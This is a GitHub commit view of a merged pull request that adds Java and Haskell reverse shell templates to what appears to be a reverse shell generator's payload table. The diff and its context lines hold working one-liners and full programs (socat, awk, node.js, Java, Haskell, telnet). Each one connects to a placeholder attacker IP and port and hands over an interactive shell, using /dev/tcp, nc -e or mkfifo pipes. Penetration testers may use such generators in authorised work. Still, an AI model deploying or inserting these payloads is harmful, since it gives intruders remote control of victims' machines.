Merge pull request #12 from H0j3n/update_shell

Adding Java & Haskell Reverse Shell
This commit is contained in:
Ryan Montgomery 2021-03-12 12:14:18 -05:00 committed by GitHub
commit ef96ad4191
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -45,6 +45,8 @@ const rsgData = {
['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'],
['awk', 'awk \'BEGIN {s = "/inet/tcp/0/{ip}/{port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'],
['node.js', 'require(\'child_process\').exec(\'nc -e {shell} {ip} {port}\')'],
['Java #1','import java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class shell {\n public static void main(String args[]) {\n String s;\n Process p;\n try {\n p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}'],
['Haskell #1','module Main where\n\nimport System.Process\n\nmain = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f"'],
['telnet', 'TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF'],
],